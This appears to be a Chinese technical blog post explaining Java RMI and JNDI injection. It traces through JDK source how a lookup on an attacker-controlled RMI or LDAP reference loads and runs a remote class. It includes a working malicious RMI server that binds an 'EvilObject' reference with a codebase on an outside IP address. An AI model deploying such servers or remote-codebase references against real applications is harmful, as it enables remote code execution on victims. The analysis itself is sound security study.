Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序 编程接口 。
RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。
RMI的简单实现
Server端
//定义远程对象的接口
public interface HelloService extends Remote {
    String say() throws RemoteException;
}
//接口的实现
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    public HelloServiceImpl() throws RemoteException{
        super();
    }
    @Override
    public String say() throws RemoteException {
        return "Hello";
    }
}
//注册远程对象
public class Service {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        HelloServiceImpl helloService = new HelloServiceImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/hello",helloService);
    }
}
 
  Client端
public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        HelloService helloService = (HelloService) Naming.lookup("rmi://127.0.0.1/hello");
        System.out.println(helloService.say());
    }
}
 
  RMI 采用stubs 和 skeletons 来进行远程对象(remote object)的通讯。stub 充当远程对象的客户端代理,有着和远程对象相同的远程接口,远程对象的调用实际是通过调用该对象的客户端代理对象stub来完成的。
 
 
客户端调用stub(存根上的方法),存根负责将要调用的远程对象方法的方法名以及其参数编组打包,并且通过Socket通信发送给Skeleton,Skeleton将客户端发送过来的数据包中的方法名以及编组的参数进行解析,并且在服务端将此方法执行,执行完毕后将返回值通过相反的路径返回给客户端Stub,Stub将返回结果解析后给客户程序。
RMIClient
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
 
  RMIServer
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(8080);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://139.224.236.99/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:8080/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}
 
  执行触发
 
 
调用链分析
 
 
InitialContext.java
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}
 
  GenericURLContext.java
public Object lookup(String var1) throws NamingException {
    //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
    //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
    //进入不同的协议路线
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
    } finally {
        var3.close();
    }
    return var4;
}
 
  RegistryContext.java
public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }
        return this.decodeObject(var2, var1.getPrefix(1));
    }
}
 
  RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        //如果是Reference对象的话,将进行一次RMI服务器的链接,获取远程class文件
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}
 
  NamingManager.java
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively
//跟进            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
 
  通过getObjectFactoryFromReference或者getObjectInstance进行命令执行,这两个命令执行点都可以进行命令执行,不过第一个在执行的时候会发生报错,由于我们自定义的类实例化后不能转化为ObjectFactory,所以我们需要定义的类要继承该类,并且重写getObjectInstance接口,完成第二处命令执行
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.
    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
 
  先尝试本地或者此class,在本地不存在此class的情况下,从codebase中获取此class并且进行加载和实例化
 当注册RMI服务的时候,可以指定远程加载类codebase url的位置,通过该属性可以让JNDI来加载我们指定的远程类,当 JNDI 应用程序通过 lookup (RMI服务的地址)调用指定 codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。 
public class RMIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
 
  通过上面这段代码,我们会发现我们是需要一个可控的参数的,并且在java高版本中和低版本的某些版本中 系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false ,即默认不允许从远程的Codebase加载Reference工厂类。
 除了RMI实现JNDI注入外,同样LDAP也可以实现JNDI注入,同RMI来对比, LDAP 服务的 Reference 远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,不过在之后的版本,也对这些属性进行了限制,如 对com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false. 
JNDIClient
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class LDAPClient {
public static void main(String[] args) throws Exception {
    String uri = "ldap://127.0.0.1:8088/aa";
//        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}
 
   
 
调用过程和RMI触发JNDI差不多,就不详细分析了。
其实和RMI的差不多,就不再赘述了。
这个问题是看Seebug发现的,不过在调试RMI 触发的这个过程正好可以解决这个问题,文章的作者也给了很详细的说明
Q:oC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。
对于这段代码
public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }
        return this.decodeObject(var2, var1.getPrefix(1));
    }
}
 
  这段代码的主要作用是从registry中拿出远程对象赋给var2,并且这个var2为stud类型
关键在于下一段的代码处理
private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ?
                ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, 
                this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}
 
   decodeObject 函数将 stub 还原成了 Reference,所以才可以造成代码执行。